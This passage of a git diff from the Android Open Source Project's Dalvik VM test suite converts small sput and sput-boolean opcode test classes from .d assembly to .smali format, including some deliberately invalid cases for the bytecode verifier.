-       sput v0, dot.junit.opcodes.sput.d.T_sput_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.smali
new file mode 100644
index 0000000..2470ab4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_21.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1234    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.d
deleted file mode 100644
index ff17473..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_22.java
-.class public dot.junit.opcodes.sput.d.T_sput_22
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput v0, dot.junit.opcodes.sput.d.T_sput_22.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.smali
new file mode 100644
index 0000000..3c73c0d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_22.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_22;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_22;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.d
deleted file mode 100644
index 10cdb15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_23.java
-.class public dot.junit.opcodes.sput.d.T_sput_23
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput v0, dot.junit.opcodes.sput.d.T_sput_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.smali
new file mode 100644
index 0000000..600cfaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_23.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_23;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.d
deleted file mode 100644
index 5b6bac3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_24.java
-.class public dot.junit.opcodes.sput.d.T_sput_24
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput v0, dot.junit.opcodes.sput.d.T_sput_24.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.smali
new file mode 100644
index 0000000..dbad029
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_24.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_24;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_24;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.d
deleted file mode 100644
index 22aaeef9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_3.java
-.class public dot.junit.opcodes.sput.d.T_sput_3
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1234
-       sput v0, dot.junit.opcodes.sput.d.T_sput_3.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.smali
new file mode 100644
index 0000000..0990dfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_3.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1234
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_3;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.d
deleted file mode 100644
index 2ca3434..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_4.java
-.class public dot.junit.opcodes.sput.d.T_sput_4
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput v3, dot.junit.opcodes.sput.d.T_sput_4.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.smali
new file mode 100644
index 0000000..e28d0b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_4.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput v3, Ldot/junit/opcodes/sput/d/T_sput_4;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.d
deleted file mode 100644
index 25a88ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_5.java
-.class public dot.junit.opcodes.sput.d.T_sput_5
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)V
-.limit regs 3
-
-       sput v2, dot.junit.opcodes.sput.d.T_sput_5.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.smali
new file mode 100644
index 0000000..04264e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_5.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_5;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)V
+.registers 3
+
+       sput v2, Ldot/junit/opcodes/sput/d/T_sput_5;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.d
deleted file mode 100644
index 7bad17d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_7.java
-.class public dot.junit.opcodes.sput.d.T_sput_7
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput v1, dot.junit.opcodes.sput.d.T_sput_7.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.smali
new file mode 100644
index 0000000..bc3e940
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_7.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_7;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.d
deleted file mode 100644
index f1b1561..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_8.java
-.class public dot.junit.opcodes.sput.d.T_sput_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput v1, dot.junit.opcodes.sput.TestStubs.TestStubField I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.smali
new file mode 100644
index 0000000..6aa2dbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_8.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput v1, Ldot/junit/opcodes/sput/TestStubs;->TestStubField:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.d
deleted file mode 100644
index 2e4fe0e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_9.java
-.class public dot.junit.opcodes.sput.d.T_sput_9
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput v1, dot.junit.opcodes.sput.d.T_sput_9noclass.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.smali
new file mode 100644
index 0000000..bff85cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_9.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_9noclass;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.d
deleted file mode 100644
index 8078d65..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_1.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1
-.super java/lang/Object
-
-.field public static st_i1 Z
-.field protected static st_p1 Z
-.field private static st_pvt1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()Z
-.limit regs 2
-
-       sget-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_pvt1 Z
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.smali
new file mode 100644
index 0000000..232ec01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_1.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+.field protected static st_p1:Z
+.field private static st_pvt1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()Z
+.registers 2
+
+       sget-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_pvt1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.d
deleted file mode 100644
index 672420d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_10.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_10
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_10.st_i1N Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.smali
new file mode 100644
index 0000000..6e45923
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_10.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_10;->st_i1N:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.d
deleted file mode 100644
index 796ac2a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
